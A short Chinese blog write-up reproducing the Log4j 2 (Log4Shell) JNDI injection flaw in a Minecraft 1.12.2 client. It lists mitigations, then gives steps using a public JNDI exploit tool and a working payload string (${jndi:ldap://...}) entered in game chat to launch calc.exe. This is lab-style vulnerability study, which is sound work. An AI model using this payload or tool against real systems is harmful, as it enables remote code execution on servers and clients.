【记一次】Log4j 漏洞在《我的世界》上复现

漏洞描述

Log4j 2是一个基于Java的日志记录工具，是对 Log4j 的升级。

紧急处置方案

1. 修改配置 log4j2.formatMsgNoLookups=True
2. 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
3. 通过防火墙自定义规则，限制jndi 、ldap 等恶意payload
4. 漏洞探测大多采用dnslog 等带外方式，可以禁掉服务器主动外联权限

漏洞复现

首先我们需要一个jndi服务用于漏洞注入，可以在GitHub下载一个jar包（https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0）

其次，当然我们需要一个《我的世界》的客户端（目前仅测试1.12.2版本）

然后我们测试弹出 计算器程序 calc.exe，起jndi服务并添加相应参数

构造出payload：${jndi:ldap://127.0.0.1:1389/abzi13}，然后启动游戏，随便创建个世界进入，按T打开聊天窗口输入payload，即可弹出计算器程序